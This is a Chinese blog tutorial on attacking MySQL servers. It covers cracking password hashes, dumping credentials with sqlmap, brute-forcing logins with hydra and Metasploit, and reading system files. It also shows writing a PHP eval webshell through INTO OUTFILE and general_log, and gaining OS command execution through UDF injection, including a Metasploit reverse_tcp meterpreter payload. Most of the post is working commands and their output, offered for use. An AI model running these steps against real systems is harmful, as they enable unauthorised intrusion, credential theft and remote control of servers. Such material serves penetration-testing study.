mysql渗透提权知识


title: mysql渗透提权知识
date: 2018-06-30 21:55:07
categories: 安全
tags: MySQL

一、MySQL默认库表介绍

mysql安装后会默认存在3个库,包括information_schema,mysql和performance_schema。

performance_schema提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

mysql5.5之后新增了PERFORMANCE_SCHEMA数据库。主要用于收集数据库服务器性能参数。

mysql库保存MySQL的账户,密码,权限、参数、对象和状态信息等。

其中最重要的是myql库的user表,存储了用户名,密码,可连接主机等信息。

其中host表示可连接主机,locahost,127.0.0.1和::1都表示只允许本地登录,为%时表示所有主机都可以登录。

二、MySQL密码加密方式与破解

mysql的密码加密方式为mysqlsha1加密。

加密公式为:password_str =concat(‘*’, sha1(unhex(sha1(password))))

即先对密码sha1加密,然后16位进制转为字符串,在使用sha1加密,最后加上*

如密码为root,加密后即为*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B。用python演示的加密过程

>>> import hashlib,binascii
>>> pwd='root'
>>> tmp1=hashlib.sha1(pwd.encode('utf-8')).hexdigest()    #第一次sha1加密
>>> tmp1
'dc76e9f0c0006e8f919e0c515c66dbba3982f785'
>>> tmp2=binascii.a2b_hex(tmp1)    #16位进制转字符串
>>> tmp2
b'\xdcv\xe9\xf0\xc0\x00n\x8f\x91\x9e\x0cQ\\f\xdb\xba9\x82\xf7\x85'
>>> password=hashlib.sha1(tmp2).hexdigest()  #第二次sha1加密
>>> password
'81f5e21e35407d884a6cd4a731aebfb6af209e1b'

对加密后的密码进行破解

  1. 使用在线网站进行破解

    http://www.cmd5.com/

    http://www.mysql-password.com/hash

  2. 使用工具破解

    hashcat工具:

    hashcat64.exe 01A6717B58FF5C7EAFFF6CB7C96F7428EA65FE4C --force -a 0 -m 300 dict.txt

    如图,输出了结果admin123,其中dict.txt为字典, -m 300表示要破解的是mysql密码,-a 0 字典模式

    参考Hash破解神器:Hashcat的简单使用

    John the ripper工具

    john --wordlist=dict.txt -format=MySQL-sha1 hash.txt

    其中dict.txt为字典, hash.txt为mysql密码,-format=MySQL-sha1表示加密方式mysqlsha1。

三、获取MySQL密码

存在注入点时获取密码

当网站存在注入点时可以使用sqlmap工具获取mysql的用户名和密码等信息。

获取用户列表

python2 sqlmap.py -r test.txt --users

获取用户密码

python2 sqlmap.py -r test.txt --password

或者也直接手工注入查询mysql库的user表。

爆破获取mysql密码

  1. hydra工具

    hydra -l 用户名 -P 密码字典 ip mysql

  2. metasploit模块

    use auxiliary/scanner/mysql/mysql_login
    # 设置目标主机
    set RHOSTS 192.168.99.100
    #需要爆破的用户名
    set USERNAME root
    #密码字典
    set PASS_FILE /root/Downloads/dict.txt
    exploit
    

四、读写文件与获取shell

当存在注入点获取密码或者通过其它方式获取密码后,连接上MySQL时就可以尝试读取敏感文件,提权,写入shell。

  1. 读取文件 LOAD_FILE
    执行 SELECT LOAD_FILE('/etc/passwd');
    可以读取/etc/passwd 的文件,也可以输入其它的文件,读取文件时,需要对mysql启动账户对文件具有读权限,否则无法查看,同时文件必须小于 max_allowed_packet 。
    读取文件时可以查看一些配置文件,如apache配置文件,虚拟站点配置文件等。

    参考 MySQL注入load_file常用路径

  2. 写入shell INTO_OUTFILE

    使用 SELECT ··· INTO_OUTFILE ···的方式可以写入shell到指定文件中,例如

    select '<?php @eval($_POST[test]);?>'INTO OUTFILE 'D:/tools/phpStudy/WWW/test.php'

    但是一般情况会失败,提示The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

    • ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
    • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    查看secure_file_priv的值语句,show global variables like '%secure%';

    当secure_file_priv可以写入时,也需要mysql具有对文件的写权限才可以,否则仍然无法写入文件。

  3. general_log_file写入shell

    general_log 为mysql日志保存选项,当打开时会将mysql查询记录保存到文件中。

    general_log_file 为日志的保存路径。

    可以将general_log 开启,然后将general_log_file 设置为php文件,然后输入webshell的查询语句,即可写入shell。

    具体命令

    set global general_log = "ON";
    SET global general_log_file='D:/tools/phpStudy/WWW/test.php';
    select '<?php eval($_POST[test]);?>';
    

    这种方法也需要mysql对指定目录具有写权限,否则无法写入。

五、MySQL UDF提权

UDF为User Defined Function-用户自定义函数 ,当拥有mysql权限的时候,可以通过上传lib_mysqludf_sys 文件的方式,创建UDF进行提权。

提权条件限制

mysql拥有导入文件目录的写权限。

从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中。

方法一、使用sqlmap提权(失败)

python2 sqlmap.py -d "mysql://root:root@192.168.99.100:3306/test" --os-shell
...
#选择mysql位数
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 1
#上传dll文件	
[00:52:17] [INFO] the local file 'c:\users\cheng\appdata\local\temp\sqlmap9rxqye15264\lib_mysqludf_sysn7cb6z.dll' and the remote file './libsslta.dll' have the same size (6144 B)
[00:52:17] [INFO] going to use injected sys_eval and sys_exec user-defined functions for operating system command execution
[00:52:17] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
[00:52:32] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1305, 'FUNCTION test.sys_eval does not exist')

在创建了os-shell后运行命令未成功,查看是dll文件没有上传到plugin目录。

方法二、使用metasploit提权

use exploit/multi/mysql/mysql_udf_payload
set RHOST 192.168.99.100
set PASSWORD root
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.99.1
exploit 

运行后虽然上传了udf文件,创建了sys_exec()函数,但是没有返回session。此时可以通过mysql连接手动创建sys_eval()函数。

#先查询上传udf文件名
mysql> select * from mysql.func where name = 'sys_exec';
+----------+-----+--------------+----------+
| name     | ret | dl           | type     |
+----------+-----+--------------+----------+
| sys_exec |   2 | QApbQCTY.dll | function |
#创建sys_eval函数
mysql> create function sys_eval returns string soname 'QApbQCTY.dll';
Query OK, 0 rows affected (0.00 sec)
#测试运行whoami
mysql> select sys_eval('whoami');
+-----------------------+
| sys_eval('whoami')    |
+-----------------------+
| win-88jdvt747gh\test|
+-----------------------+
1 row in set (0.14 sec)

方法三、手动输入语句提权

先上传lib_mysqludf_sys文件,然后创建udf函数。

获取lib_mysqludf_sys的16进制,这里直接使用msf的lib_mysqludf_sys文件。文件目录为/usr/share/metasploit-framework/data/exploits/mysql/

  1. 获取lib_mysqludf_sys的16进制文件。

     登录本地mysql,导出文件
    
    select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll')) into outfile '/tmp/hex.txt';
    
  2. 登录远程目标机mysql,查询目标机系统情况和插件目录。

    mysql> select @@version_compile_os, @@version_compile_machine;
    +----------------------+---------------------------+
    | @@version_compile_os | @@version_compile_machine |
    +----------------------+---------------------------+
    | Win32                | 32                        |
    +----------------------+---------------------------+
    1 row in set (0.00 sec)
    
    mysql> select @@plugin_dir;
    +----------------------------+
    | @@plugin_dir               |
    +----------------------------+
    | E:\xampp\mysql\lib\plugin\ |
    +----------------------------+
    1 row in set (0.00 sec)
    
  3. 将数据导入到mysql插件目录

    select unhex('4D5A900003000000040...00000000000')into dumpfile "E:\\xampp\\mysql\\lib\\plugin\\lib_mysqludf_sys_32.dll";
    
  4. 创建sys_eval函数

    mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';
    Query OK, 0 rows affected (0.06 sec)
    
    # 测试运行命令
    mysql> select sys_eval('whoami');
    +-----------------------+
    | sys_eval('whoami')    |
    +-----------------------+
    | win-88jdvt747gh\test |
    +-----------------------+
    1 row in set (0.18 sec)
    

windows中mysql安装时默认不会创建plugin文件夹,可以使用以下方法进行创建。但是本地测试时没有成功,以上在windows测试都是手动创建的 ? 。

select 'xxx' into dumpfile 'E:\\xampp\\mysql|\lib::$INDEX_ALLOCATION';          # 新建目录lib
select 'xxx' into dumpfile 'E:\\xampp\\mysql\\lib\plugin::$INDEX_ALLOCATION';  # 新建目录plugin

参考:

https://err0rzz.github.io/2017/12/26/UDF-mysql/

https://xz.aliyun.com/t/2167#toc-4

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值